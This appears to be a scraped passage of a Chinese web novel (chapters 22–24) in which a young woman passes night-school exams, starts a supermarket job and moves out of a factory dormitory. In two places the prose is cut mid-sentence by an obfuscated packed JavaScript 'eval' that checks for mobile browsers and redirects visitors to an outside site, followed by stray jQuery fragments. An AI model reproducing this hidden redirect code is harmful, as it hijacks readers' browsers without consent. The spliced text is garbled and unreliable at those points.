考试铃声准时响起,晚星走进考场,坐在指定座位上,深吸一口气平复心绪。拿到试卷的那一刻,她悬着的心渐渐落地——大部分题目都是她反复演练过的,王老师划的重点更是精准命中了几道大题。她握着笔,指尖流畅地在试卷上作答,脑海里清晰浮现出知识点,那些熬夜背诵、刷题的时光,仿佛都化作了此刻笔下的灵感,落笔从容而坚定。 三门考试接连进行,中间仅有短暂的休息时间。正午的阳光格外刺眼,晒得人皮肤发烫,晚星靠在墙角,啃着提前准备的面包,一边补充体力,一边在脑海里复盘上午的考题,又快速过了一遍下午英语考试的语法重点。身边的考生或焦虑踱步,或从容闭目,晚星却异常平静——她知道,自己能做的都已做到极致,剩下的,只需静待结果。 最后一门英语考试结束的铃声响起,晚星长长舒了口气,放下笔的瞬间,才发觉后背早已被汗水浸湿。走出考场,夕阳正缓缓沉落,将天空染成绚烂的橘红色,考点门口的人群渐渐散去,每个人的脸上都带着如释重负的神情。王老师站在不远处的树荫下等她,见她走来,笑着迎上前:“感觉怎么样?” “应该没问题,大部分题目都答上来了,心里有底。”晚星笑着回应,语气里带着前所未有的轻松,连日来紧绷的神经,终于在此刻彻底卸下。 等待成绩的日子里,晚星依旧按时在超市上班,只是不再抱着复习册挤碎片时间,反倒多了些空闲整理自考资料。王老师早已帮她打听好自考本科汉语言文学专业的报名时间与参考书目,她把书单仔细抄在笔记本上,一一标注好优先级,打定主意等成绩出来,就立刻着手购买资料、开启备考。 张琪总爱打趣她:“这刚考完就琢磨自考,你这是停不下来的奋斗模式啊?”晚星笑着点头,眼神里满是憧憬:“好不容易走到这一步,想再拼一把,争取早点拿到本科学历,找一份能写东西的工作。”这是她藏在心底许久的愿望,从在电子厂流水线上日复一日重复机械劳作时,就渴望摆脱体力活的束缚,靠自己热爱的文字谋生。 成绩公布那天,晚星特意请了半天假,坐在宿舍书桌前,手指悬在查询页面的确认键上,迟迟不敢按下。张琪坐在她身边,紧紧握着她的手,轻声安抚:“别紧张,肯定能过,你的努力不会白费的。”晚星深吸一口气,闭上眼按下确认键,页面加载的短短几秒,仿佛被无限拉长。 “过了!晚星,你过了!”张琪的欢呼声陡然响起,晚星猛地睁开眼,屏幕上清晰显示着三门课程的成绩,均远超及格线,总分更是在夜校同期学生中名列前茅。那一刻,她紧绷的神经骤然松弛,眼眶瞬间泛红,泪水毫无预兆地涌了出来。这不是悲伤的泪,而是积压了无数个日夜的委屈、辛苦与不甘,在这一刻尽数化作释然与喜悦的泪水。 她想起离职后在夜市顶着狂风暴雨收摊的狼狈,想起便利店夜班被醉汉刁难的窘迫,想起熬夜刷题时昏昏欲睡却强撑着睁眼的疲惫,想起在电子厂被谣言裹挟时的孤立无援……所有的苦难与煎熬,都在这一刻有了最好的归宿,那些咬牙坚持的时光,终究没有辜负她的执着与隐忍。 晚星颤抖着手拿出手机,拨通了张琪的电话——明明两人并肩坐着,指尖还紧紧相扣,她却执意要通过听筒传递这份翻涌的情绪,电话接通的瞬间,她哽咽着开口:“张琪,我过了,我真的过了……”话未说完,便泣不成声,所有的情绪都在这一刻彻底释放。 电话那头的张琪也红了眼眶,声音里混着笑意与心疼:“我知道,我都看见了!晚星,你真棒,所有的努力都没有白费!”两人隔着电话哭了又笑,那些并肩陪伴、彼此扶持的日子,都在这一刻有了最圆满的见证。 挂了电话,晚星立刻给王老师发了消息,附上成绩截图,字里行间满是感激:“王老师,我过了!谢谢您一直以来的帮助和鼓励,没有您我走不到今天。”没过多久,王老师就回复了她,字里行间满是欣慰:“恭喜你!这都是你靠自己拼来的,老师就知道你可以。毕业证下周就能领了,到时候我陪你去。” 接下来的几天,晚星的心情格外明朗,在超市上班时脸上总挂着藏不住的笑容,同事们都打趣她有好事临门,她也不藏着掖着,笑着说自己快要拿到高中毕业证了。店长得知后,特意给她调了班,让她领证那天能安心前往,不必为工作分心。 领证当天,王老师如约陪她来到夜校。教务处的老师将红色封皮的毕业证书递到她手里时,晚星的手指控制不住地颤抖,指尖轻轻摩挲着封面上烫金的“毕业证书”四个字,心脏剧烈地跳动着。这或许不是什么含金量极高的文凭,却是她用无数个日夜的奔波与坚持换来的,是她逆袭之路的第一块坚实基石,承载着她的不甘与期许。 “拿着吧,这是你努力的最好证明。”教务处的老师笑着说道,“像你这样肯吃苦、有韧劲、目标明确的学生不多,继续加油,未来一定可期。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233591|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晚星接过毕业证,紧紧抱在怀里,泪水再次涌了出来。这一次,她没有刻意压抑,任由泪水滑落,滴在红色的封皮上,晕开小小的湿痕。王老师没有上前打扰,只是静静站在一旁,眼神里满是赞许与欣慰。她懂,这一刻的泪水,是对过往苦难的告别,更是对未来征程的期许。 走出夜校,晚星依旧紧紧抱着毕业证,温暖的阳光洒在红色封皮上,泛着耀眼而温柔的光泽。王老师看着她,轻声问道:“接下来打算什么时候报名自考?” 晚星擦干眼泪,眼神格外坚定澄澈,语气里带着前所未有的笃定:“下个月就报名,我已经把资料都整理好了,打算先从公共课开始备考。”她顿了顿,抬头望向远方,一字一句地说道:“王老师,我想好了,不管自考有多难,要耗多久,我都要坚持下去。我不想再回到流水线上,不想再被生活推着走,我想靠自己的努力,成为一名文字工作者,彻底改变自己的命运。” 这不是一时兴起的冲动,而是她藏在心底许久的初心。从在电子厂狭小的宿舍里偷偷写下第一篇短文,到夜校语文课上被王老师认可与鼓励,再到如今拿到高中毕业证,这份对文字的热爱、对命运的不甘,始终像一束光,支撑着她在泥泞中一步步往前走。 王老师欣慰地点头,语气里满是支持:“好,老师全力支持你。自考的路确实不易,耗时久、难度大,还要兼顾工作与生活,但我相信你的韧劲,一定能坚持到底。我那里有一些自考复习资料和往年真题,回头带给你,有不懂的问题随时来找我,我帮你分析。” “谢谢王老师。”晚星深深鞠了一躬,心底涌过一阵暖流。从夜校入学到拿到毕业证,再到即将开启的自考之路,王老师就像一盏明灯,始终在她身边指引方向,给予她温暖与力量,让她在迷茫时不缺前行的勇气。 回到宿舍,张琪早已做好了一桌丰盛的好菜,满屋子都是饭菜的香气,静静等着她归来。看到晚星手里的毕业证,张琪立刻迎了上去,一把将她抱住,语气里满是骄傲:“我的晚星真棒!终于拿到毕业证了,所有的辛苦都值了!” 晚星把毕业证递给张琪,笑着说道:“你看,我们做到了。”张琪小心翼翼地捧着毕业证,翻来覆去地看,脸上满是自豪:“我就知道你可以!接下来是不是要全身心备战自考了?需要我帮你什么尽管说,陪你熬夜刷题、给你做营养餐,我都没问题!” 晚星坐在餐桌前,看着满桌热气腾腾的好菜,看着身边真心待她的张琪,又想起王老师的叮嘱与支持,心底充满了底气。她清楚,自考的路注定布满坎坷,会有无数个熬夜刷题的夜晚,会有遇到难题时的迷茫无助,会有兼顾工作与学习的疲惫不堪,但这一次,她不再孤单,也不再害怕。 吃饭时,晚星和张琪细细聊起了自考的备考规划:每天早上提前一个小时起床背知识点,晚上下班回来刷题两小时,周末泡在图书馆一整天,系统梳理知识点、攻克难点。张琪认真地听着,时不时点头附和,还主动提出要帮她整理复习笔记、划重点,尽可能为她分担压力。 夜幕降临,宿舍里只剩下台灯的暖光。晚星坐在书桌前,将毕业证书稳稳放在书架最显眼的位置,旁边摆着刚买的自考资料。她轻轻翻开《思想道德修养与法律基础》,指尖缓缓划过书页上的文字,眼神坚定而明亮,满是对未来的憧憬。 窗外的月光温柔洒落,落在书页上,也落在她专注的侧脸上。拿到高中毕业证,只是她逆袭之路的一个节点,而绝非终点。自考本科、成为文字工作者、彻底改变命运,这些曾经看似遥远的目标,在她一步步的努力下,正变得越来越清晰,越来越触手可及。 她想起在电子厂被谣言抹黑时的委屈隐忍,想起摆摊时被风雨淋湿的狼狈不堪,想起便利店夜班的疲惫煎熬,那些曾经以为跨不过去的坎,如今都成了她成长的勋章。苦难没有将她打垮,反而让她愈发坚韧。初心如磐,方得始终,她知道,只要自己不放弃,始终朝着目标奋力前行,就一定能跨越所有阻碍,抵达自己向往的未来。 夜深了,晚星放下笔,揉了揉有些发酸的眼睛,抬头望向窗外的星空。星星在深邃的夜空里闪烁,像无数个希望的光点。她轻轻抚摸着书架上的毕业证,在心里默默对自己说:晚星,加油,初心不改,未来可期。 23. 第 23 章 清晨五点半的街道还浸在朦胧薄暮里,晚星最后一次走进那家24小时便利店,身上穿着洗得柔软起绒的便利店工装。今天是她在这里的最后一个早班,也是与这份熬夜奔波的兼职,做一场郑重的告别。刘哥早已在收银台后等候,见她推门进来,顺手递过一杯刚泡好的热豆浆,语气里裹着藏不住的不舍:“最后一天了,喝完这杯热乎的,往后就不用再熬大夜遭这份罪了。” 晚星接过豆浆,暖意顺着杯壁缓缓蔓延到掌心,又漫进心底,眼眶不由得微微发热。这段兼职时光虽满是疲惫,却在她最窘迫无措的时候,给了她喘息的底气——日结的工资稳稳帮她凑够了房租,刘哥的体谅包容、偶尔顾客的一句善意安抚,都成了困境里细碎而珍贵的微光。“谢谢刘哥这两个多月的照顾,”她轻声说道,指尖反复摩挲着温热的杯沿,满是感激,“要是以后店里缺人,我还能过来帮忙顶班。” “好啊,随时欢迎你回来。”刘哥笑着点头,从抽屉里取出一个厚实的信封,“这是你这几天的工资,我多算了两百块奖金,算是一点心意,祝你在新地方顺顺利利,学业也步步高升。”晚星连忙推辞,刘哥却执意把信封塞进她手里,语气恳切:“拿着吧,这是你应得的。天天熬通宵、搬重物、理货清洁,从没喊过一声累、怨过一句苦,这份奖励受得起。” 拗不过刘哥的好意,晚星收下信封,紧紧攥在手里,掌心能感受到信封的厚度与温度。她快速换好工装,有条不紊地开始最后一次理货、清洁,把自己负责的货架、收银台收拾得一尘不染,像是在与这段疲惫却格外珍贵的时光,认真道别。清晨六点半,早班交接顺利完成,晚星脱下工装仔细叠好,放进储物柜深处,背上双肩包走出便利店。天边已泛起熹微晨光,这一次,她不用再拖着满身疲惫赶去补觉,而是朝着相反方向轻快走去——今天上午,是她到连锁超市入职的日子。 回到宿舍,张琪正握着熨斗,小心翼翼地熨烫那件白色衬衫——这是晚星特意准备的入职装,洗得有些发白,却被打理得平整如新。“快换上吧,别迟到了。”张琪把衬衫递过去,眼神里满是期许与欣慰,“新工作新气象,以后再也不用熬夜受冻了,还能安安稳稳备考自考,日子只会越来越顺。” 晚星换上衬衫,对着镜子梳了个利落的马尾,镜中的女孩脸色虽还有些苍白,褪去了往日的疲惫,眼神却格外明亮坚定。她把刘哥给的工资和奖金小心收好,又将红色封皮的高中毕业证放进随身包里——这不仅是她入职的底气,更是她一路逆袭的珍贵见证。“我走啦,晚上回来给你细说新工作的情况。”晚星和张琪道别,脚步轻快地走出宿舍,清晨的阳光洒在身上,温暖而有力量。 这家连锁超市坐落于商圈附近,规模比晚星预想中更大,上下两层楼货品齐全,分区清晰。清晨的客流虽不算密集,却已有员工忙着补货、清洁,一派井然有序的景象。她提前十分钟抵达,店长李姐早已在办公室等候,见她进来,笑着起身招呼:“晚星来了,先跟我熟悉下店里的环境和工作流程,今天你跟着老员工学,重点熟悉收银系统和货品分区,尽快上手。” “好的,李姐。”晚星点头应下,紧随李姐穿梭在货架之间。李姐耐心细致地讲解:“我们超市分生鲜区、食品区、日用品区和百货区,收银台在一楼入口处,共六个通道,你主要负责3号收银台。薪资是三千五底薪加绩效,绩效看收银准确率和顾客服务评价,每月带薪休假两天,工作时间上午九点到下午六点,每周轮休一天,刚好不耽误你晚上备考。” 晚星听得格外认真,把每一个细节都记在心里。比起便利店夜班的颠三倒四、充满不确定,这里的工作规律而稳定,薪资也更有保障,足够覆盖她的基本开支,还能留出充足时间备战自考。“谢谢李姐,我一定会好好干,尽快熟悉所有工作内容。”她语气诚恳,眼里满是藏不住的干劲。 李姐带着她走到3号收银台,给她介绍了负责带教的老员工陈姐。陈姐四十多岁,性格爽朗热情,笑着拍了拍收银台台面:“放心,跟着我学,保准你半天就能上手。咱们收银这活,没别的诀窍,就靠一个细心——扫码要准、找零要快,遇到顾客有疑问耐心解答,沉住气就好。” 接下来的一上午,晚星都专注地跟着陈姐学习。从收银系统的操作流程、扫码称重的技巧,到优惠券核销、退换货处理的规范,陈姐都讲解得细致入微,还手把手带着她实操。晚星学得专注,一边记笔记一边反复练习,遇到不懂的地方立刻请教,指尖在键盘上反复打磨扫码、输单的动作,很快就掌握了核心流程,动作也渐渐熟练起来。 正午时分,超市迎来客流高峰,陈姐见状,让晚星试着独立收银。第一次独自面对排起小长队的顾客,晚星难免有些紧张,扫码时偶尔手忙脚乱,有一次还差点输错商品价格。排在队伍最前面的阿姨看出了她的生疏,非但没有催促,反而笑着安抚:“小姑娘别慌,慢慢扫,我们不着急,谁刚开始都这样。” 晚星抬头望向阿姨,眼里满是感激,连忙道谢后深吸一口气,强迫自己平复心绪。渐渐地,她找到了节奏,扫码、报价格、收钱、找零、递购物袋,一系列动作越来越流畅,脸上也慢慢漾开温和的笑容。陈姐站在一旁静静看着,满意地点着头,偶尔在她遇到难缠的问题时及时搭把手,用眼神给她鼓励。 午休时,晚星和陈姐一起在员工食堂用餐。陈姐瞥见她手边放着的自考资料,好奇地问道:“小姑娘还在读书啊?看着这么拼。”“嗯,我刚从夜校毕业,拿到了高中毕业证,打算考自考本科。”晚星笑着回应,语气里满是对未来的憧憬,“想考汉语言文学专业,以后希望能找一份能写东西的工作。” “真厉害!”陈姐满眼赞许,忍不住为她点赞,“又要上班又要抽时间学习,这份毅力可不是谁都有。我们超市之前也有几个年轻员工想自考,结果都半途而废了。你能坚持下来,以后肯定有大出息。工作上有啥难处、不懂的地方,尽管跟我说,能帮的我一定帮你。” 晚星心里一暖,连忙道谢。入职第一天就遇到热心的带教老师和友善的同事,没有陌生感与排挤,让她对这份新工作充满了期待。下午,她已经能独立应对收银工作,不仅收银准确率越来越高,温和耐心的服务态度也受到了不少顾客的认可,有几位顾客结账时还特意夸她细心周到。 下班前,李姐特意过来检查她的工作,看着整洁有序的收银台和零差错的收银记录,满意地说道:“不错,上手很快,悟性也高,明天就可以正式独立上岗了。这是你的工牌和员工手册,回去好好看看,熟悉下店里的规章制度,严格遵守。” 晚星接过工牌,上面印着她的照片和名字,字迹清晰端正。她小心翼翼地把工牌别在衬衫左胸处,指尖轻轻抚摸着,心底涌起一股踏实安稳的感觉。这是她离开电子厂后,第一份稳定规律的正式工作,是她摆脱底层奔波的新开端,更是她逆袭之路的重要里程碑。 走出超市时,夕阳正缓缓沉入地平线,把天空染成一片温暖的橘红色,余晖洒在街道上,暖意融融。晚星没有立刻回宿舍,而是绕到附近的书店,按照王老师给的书单,买下了自考本科的第一批次资料——《思想道德修养与法律基础》《大学语文》《计算机应用基础》三本公共课教材,还有配套的同步练习册和历年真题集。 抱着沉甸甸的教材,晚星的脚步格外坚定有力。这些书不仅是纸张与文字的集合,更承载着她的梦想,是她通往文字工作者之路的坚实阶梯。回到宿舍,张琪早已做好了热气腾腾的晚饭,看到她怀里的教材,立刻迎上前接过,心疼地说道:“这就是自考资料啊?快放下歇歇,第一天上班肯定累坏了,赶紧吃饭补补。” 晚星把教材整齐摆放在书桌上,笑着坐下吃饭:“不累,反而特别踏实。陈姐和李姐都很照顾我,工作也不算难,我今天已经能独立收银了。”她一边吃饭,一边和张琪细数着今天的工作日常,说起顾客的体谅、同事的友善,脸上满是藏不住的笑意。 饭后,晚星坐在书桌前,摊开笔记本,开始制定详细的自考备考计划。她先逐一翻看三本教材的目录,梳理出每本书的章节结构与核心重点,再结合自己的工作时间,一点点细化规划:每天早上六点准时起床,背诵一个小时知识点;晚上下班回来,七点到九点专注刷题、整理笔记;周末全天泡在图书馆,上午系统研读教材、梳理框架,下午集中做真题,晚上总结错题、查漏补缺。 “每天只睡七个小时,会不会太少了?”张琪坐在一旁,看着笔记本上密密麻麻的计划,满脸心疼,“你刚摆脱熬夜的日子,好不容易能规律作息,别又把自己逼得太紧,身体要紧。” 晚星抬头冲张琪笑了笑,眼神坚定而温和:“没事,我早就习惯了这样的节奏。早上背书效率最高,晚上刷题能巩固记忆,周末集中发力补短板,这样既能兼顾工作,又能高效备考。等过段时间适应了,我再慢慢调整作息。”她顿了顿,又补充道,“我想尽快考完公共课,明年上半年就报名参加第一次自考,争取一次通过所有科目。” 张琪看着她眼中的执着,知道劝不动她,只好点了点头,语气里满是支持:“好,那我陪你一起。你早上背书,我也早起给你做热腾腾的早饭;晚上你刷题,我不打扰你,还能帮你整理笔记、核对错题。” 晚星心里一暖,伸手握住张琪的手,语气里满是感激:“谢谢你,张琪。要是没有你,我可能根本撑不到现在。”从电子厂离职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233592|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的风雨同舟,摆摊时的相互扶持,熬夜兼职时的默默陪伴,这份无需言说的情谊,早已刻进心底,成为她最坚实的后盾。 当晚,晚星就严格按照计划,开启了自考备考的第一天。她翻开《大学语文》教材,从第一篇课文开始逐字精读,一边阅读一边用不同颜色的笔标注重点、写下感悟,笔记本上很快就写满了密密麻麻的批注。台灯的暖光温柔落在书页上,也落在她专注的侧脸上,眼神明亮而坚定,褪去了往日的疲惫与迷茫,只剩对未来的热切期许与笃定。 几天后,王老师特意带着整理好的自考资料和历年真题,来到晚星的宿舍。除了打印版的资料,还有一本她亲手写的笔记,上面详细标注着重点难点、答题技巧与备考思路。“这些资料对你应该有帮助,尤其是历年真题,一定要好好做,能摸清考试规律和出题方向。”王老师看着书桌上整齐的教材和详尽的计划,满眼欣慰,“我已经帮你打听好了,明年四月份的自考报名时间是下个月中旬,到时候我提醒你,别错过报名期限。” “谢谢王老师,您想得也太周到了。”晚星双手接过资料,紧紧抱在怀里,心底涌起一阵暖流。从夜校入学时的迷茫无措,到拿到毕业证时的热泪盈眶,再到如今开启自考之路,王老师始终像一盏明灯,在她身边指引方向,给予她温暖与力量,让她在追逐梦想的路上不再孤单。 王老师笑着点头,语气里满是期许:“不用谢,这都是你自己努力换来的。自考的路确实不容易,耗时久、难度大,还要兼顾工作与生活,但我相信你的韧劲,只要你一步一个脚印坚持下去,就一定能实现自己的目标。以后有不懂的问题,随时来找我,我帮你分析解答。” 日子在规律的工作与紧张的备考中稳步流转。晚星渐渐彻底适应了超市的工作节奏,收银动作愈发熟练流畅,服务态度也备受店长和同事的认可,每月绩效评分始终名列前茅。她严格恪守备考计划,每天早起背书、晚上刷题,周末雷打不动泡在图书馆,哪怕遇到晦涩难懂的知识点,也从没想过放弃,只是一遍遍查阅资料、请教王老师,直到彻底弄懂弄通。 有一次,超市月末盘点,晚星忙到快八点才下班,比平时晚了整整一个小时。回到宿舍后,她没有丝毫偷懒,快速洗漱完毕就坐在书桌前刷题,直到深夜才休息。张琪看着她疲惫的模样,忍不住劝她偶尔放松一天,晚星却笑着摇了摇头:“现在多努力一点,离目标就更近一点,我不想半途而废,更不想辜负自己之前吃的苦。” 自考报名那天,王老师特意抽出时间,陪着晚星一起在网上完成报名手续,仔细帮她核对个人信息、选择考点与报考科目。看着屏幕上弹出的“报名成功”提示,晚星心里满是激动与忐忑——这是她朝着“文字工作者”的梦想,迈出的重要一步,也是她彻底改写命运的新起点。 报名结束后,晚星约上王老师和张琪,一起吃了顿饭,既是对第一阶段努力的总结,也是对即将开启的自考之路的期许。饭桌上,张琪笑着打趣:“等你考上自考本科,以后成了大名鼎鼎的文字工作者,一定要给我们写一篇文章,好好记录一下你这段逆袭的日子。” 晚星笑着点头,眼神坚定而澄澈:“会的,我一定会写。我要把这段日子里的辛苦、坚持、温暖与感动都写下来,既纪念这段难忘的时光,也想鼓励更多像我一样不甘于命运、渴望改变的人,勇敢去追逐自己的梦想。” 夜色渐深,晚星回到宿舍,坐在书桌前。书架上,红色封皮的高中毕业证格外醒目,旁边整齐摆放着自考资料和王老师手写的笔记;书桌上,摊开的真题集上写满了批注,详细的备考计划贴在显眼位置,每一项都认真标注着推进进度。 她轻轻抚摸着高中毕业证,脑海里闪过这段日子的点点滴滴:电子厂流水线的迷茫与委屈、夜市摆摊的风雨与奔波、便利店夜班的疲惫与坚持、拿到毕业证时的泪水与释然、超市工作的安稳与踏实、备考自考的执着与坚定……所有的苦难与煎熬,都在时光的沉淀中,化作了此刻的底气与力量。 第一卷的故事,在这里落下了帷幕。晚星早已不是那个在电子厂流水线上迷茫无助、任命运裹挟的女孩,她凭借自己的不懈努力,摆脱了底层奔波的困境,拥有了稳定的工作,顺利开启了自考之路,一步步朝着“成为文字工作者”的梦想稳步靠近。 未来的路还很长,自考的艰难险阻、职场的未知挑战,都在前方等待着她。但她不再害怕,因为她有坚定如初的初心、真挚温暖的陪伴、永不言弃的勇气。初心如磐,步履不停,她深知,只要始终朝着目标奋力前行,就一定能跨越所有阻碍,抵达自己向往的未来。而第二卷的篇章,也将在自考的笔墨书香与职场的烟火日常中,缓缓展开。 24. 第 24 章 清晨的薄雾还未散尽,晚星已伫立在电子厂大门外,身上穿的不再是那身沉闷的蓝灰色工装,而是那件洗得平整挺括的白色衬衫。今天她特意跟超市请了半天假,来办理拖延许久的离职手续——不是逃避,而是要亲手为这段浸满迷茫与委屈的时光,画上一个干净利落的句号。指尖紧紧攥着早已准备妥当的离职申请,她深吸一口气,压下心底残存的复杂情绪,抬脚走进了既熟悉又陌生的厂区。 厂区里依旧回荡着机器运转的轰鸣声,穿着统一工装的员工们步履匆匆地赶往车间,擦肩而过时,不少人投来好奇与探究的目光。晚星微微垂眸,脚步下意识加快——不是畏惧那些目光,而是打心底里不愿再与这里的是非纠葛,多耗一分一秒都是浪费。行政楼的离职办理窗口前没几个人,她递上申请和工牌,工作人员熟练地核对信息,语气平淡地随口一提:“陈阳和李娟昨天刚来过,还特意问起你什么时候来办离职,说你是走了狗屎运才找到新工作,话里话外都带着酸劲儿,不太好听。” 晚星握着笔的手微微一顿,随即迅速恢复平静,在确认单上一笔一划签下自己的名字,语气淡然:“随她们说吧,往后山水不相逢,再无交集了。”工作人员抬头看了她一眼,眼神里掺着几分同情,又藏着几分赞许:“你倒是看得通透。之前她们在车间到处散播你的谣言,添油加醋的,不少人都听烦了,心里跟明镜似的。对了,你的押金和工资结算单,得去财务室领一下。” 谢过工作人员,晚星转身走向财务室,刚拐过走廊拐角,就与迎面而来的李娟撞了个正着。李娟依旧穿着工装,头发随意挽在脑后,鬓角有些凌乱,看到晚星时,眼里闪过一丝惊讶,随即就被幸灾乐祸的神情取代,故意拔高声音,引得周围人侧目:“哟,这不是晚星吗?终于舍得回来看一眼了?听说你去超市当收银员了?那活儿看着轻松,想来工资还没在厂里多吧?说到底还是没本事,只能找这种临时活计。” 周围路过的几个员工闻声纷纷停下脚步,目光齐刷刷地聚焦在两人身上,带着看热闹的意味。换作从前,晚星或许早已窘迫地低下头,手足无措地躲开这样的场面,可如今历经了摆摊的风雨、兼职的磨砺,她早已不是那个任人拿捏、轻易怯懦的小姑娘。她抬眸直视着李娟,眼底没有半分窘迫,语气平静却带着不容置喙的坚定:“工资多少不重要,重要的是能脱离满是流言蜚语的泥潭,不用再和心思不正、搬弄是非的人同处一室,活得清净自在。” 李娟脸上的笑容瞬间一僵,显然没料到晚星会当众这般反驳,一时语塞,愣了好一会儿才强装镇定地嘴硬:“你少得意!不过是个没保障的临时收银员,说不定干不了多久就被辞退了。不像我,马上就要升小组长了,以后前途可比你好太多。” “那就祝你得偿所愿。”晚星懒得再与她纠缠,多说无益,侧身绕过李娟,径直朝着财务室走去。身后传来李娟不甘的嘟囔声,却再没敢追上前继续挑衅。领完押金和工资结算单,晚星小心翼翼地将单据叠好放进包里,刚走出财务室,就撞见了站在走廊尽头的陈阳。他身形微顿,眼神复杂地望着她,嘴唇动了动,像是有话要说,最终却还是什么都没开口。 晚星没有丝毫停留,甚至没有多余的目光分给她,脚步坚定地往前走去。那些曾一闪而过的模糊好感、被利用的委屈、因他而起的漫天流言,都随着这一次的擦肩而过,彻底尘封在过往的时光里。陈阳望着她决绝的背影,最终缓缓低下头,握紧了手里的文件夹——他终究是没勇气上前说一句道歉,更没资格再打扰她崭新的生活,所有的愧疚都只能藏在心底。 走出行政楼,晚星抬头望向天空,晨雾早已散尽,和煦的阳光洒在身上,温暖而通透,驱散了心底最后一丝阴霾。她拿出手机给张琪发消息:“离职手续办完了,我们可以开始收拾东西了。”张琪几乎是秒回,字里行间都透着急切与期待:“好嘞!我早就把行李都打包得差不多了,就等你回来,咱们赶紧离开这个破地方,再也不回来了!” 厂区宿舍依旧是从前那副压抑的模样,狭窄的楼道里堆着杂乱的杂物,空气中弥漫着饭菜味、汗味与消毒水混合的怪异气息。晚星回到曾经住过的宿舍,张琪正蹲在地上捆扎行李,床上、桌子早已清空,只剩下几个鼓鼓囊囊的行李箱和编织袋,堆得满满当当。“快过来搭把手!这箱书太重了,我一个人挪不动。”张琪抬头看到她,眼睛一亮,语气里满是憧憬,“等搬到新地方,咱们就再也不用听那些闲言碎语,也不用每天挤四十多分钟公交去超市上班了,想想都舒心。” 晚星快步走过去,和张琪一起将书箱抬起来,箱子里装着她的高中教材、自考资料,还有几本省吃俭用攒钱买的文学书,每一本都是她追逐梦想的底气。“新出租屋离超市步行十分钟就到,离夜校也只有三站公交,”晚星笑着说道,指尖轻轻拂过书箱上缠紧的胶带,眼底满是对新生活的向往,“以后早上能多睡二十分钟,晚上刷题也能安安静静的,不用再担心被打扰。” 收拾东西时,晚星从抽屉角落翻出了一件蓝色工装外套,那是她刚进厂时发的,袖口早已磨破了边角,上面还沾着洗不掉的油污。张琪瞥了一眼,立刻伸手拿过来扔进旁边的垃圾桶,语气嫌恶:“别留着这东西了,看着就晦气!咱们以后要穿干净体面的衣服,踏踏实实上班、安安心心读书,再也不碰这工装了。”晚星没有阻止,静静地看着工装被扔进垃圾桶,像是看着那些不堪的过往、无尽的委屈,一同被彻底丢弃。 两人收拾妥当,拖着沉重的行李走出宿舍,刚到楼道口就碰到了隔壁宿舍的大姐。大姐从前一直很照顾她们,在流言最盛的时候,也曾悄悄劝过晚星别往心里去,是非自有公论。“这就走啦?”大姐看着她们手里的行李,语气里满是不舍,“新地方要好好过日子,照顾好自己。那些闲话你千万别放在心上,厂里大家都清楚是怎么回事,陈阳和李娟那样的人,也蹦跶不了多久。” “谢谢大姐,以后我们有空会常来看您的。”晚星笑着道谢,心底涌起一股暖流。在这个压抑沉闷的厂区里,大姐这份朴素的善意,就像一束微光,曾支撑着她走过最难熬的日子。大姐主动帮她们把行李搬到厂区门口,看着她们坐上出租车,还在原地不停挥手道别,直到车子彻底消失在视线里,才缓缓转身离开。 出租车缓缓驶离厂区,晚星回头望向窗外,熟悉的厂房、冰冷的大门渐渐远去,心底没有半分不舍,只剩下前所未有的解脱。张琪轻轻靠在她肩上,语气带着劫后余生的轻松:“终于走了!以后再也不用每天小心翼翼地说话、做事,生怕被李娟抓着把柄挑刺了。你不知道,你去超市上班后,她还在背后到处说你坏话,造谣说你是靠不正当关系找到的工作,我气不过,跟她吵了好几回。” 晚星轻轻拍了拍张琪的手,语气淡然又通透:“都过去了。以后我们离她远了,她想说也没人愿意听了,流言这东西,本就像一阵风,没人在意、没人附和,自然就平息了。”她早已不是那个会因为流言偷偷躲在被子里掉眼泪的女孩,历经这么多风雨,她终于明白,比起别人的闲言碎语,自己的成长与安稳,才是最值得珍惜的。 新出租屋在一个老旧但干净整洁的小区里,楼层不高,就在三楼,是一间小巧的一室一厅。房子面积虽不大,但采光极好,客厅有一扇宽大的窗户,阳光能毫无保留地洒满整个房间。房东是一位和蔼可亲的老奶奶,早已在门口等候,笑着把钥匙递给她们:“房子我已经彻底打扫过了,水电都通好了,你们直接住就行。我看你们是正经上班、认真读书的好孩子,房租就给你们便宜一百块,好好住,别辜负了日子。” “谢谢奶奶!”晚星和张琪连忙道谢,接过钥匙打开房门,一股淡淡的消毒水味混合着阳光的清新气息扑面而来,干净又安心。客厅摆放着一张旧沙发和一张小方桌,虽不崭新却打理得干净;卧室里有两张单人床,铺着整洁的床单;阳台宽敞,足够晾晒衣服;厨房虽小,但灶台、水槽一应俱全,能满足日常做饭需求。“太好了!这里比厂区宿舍好太多了!”张琪兴奋地跑向阳台,推开窗户,外面是小区里枝繁叶茂的梧桐树,风吹过树叶沙沙作响,满是生机。 两人齐心协力将行李搬进屋里,立刻着手整理布置。晚星把自考资料和书籍按科目分类,整齐码在书桌一角,又把常背的知识点卡片贴在窗台,方便清晨记忆;书桌靠着窗户,光线充足,正是读书学习的好地方。张琪则一头扎进厨房,忙着清洗锅碗瓢盆,还特意买了新鲜食材,要做一顿丰盛的晚饭,好好庆祝她们的乔迁之喜。阳光透过窗户洒进来,落在书桌上、地板上,映出两人忙碌的身影,一切都显得温馨而安稳,充满了生活的希望。 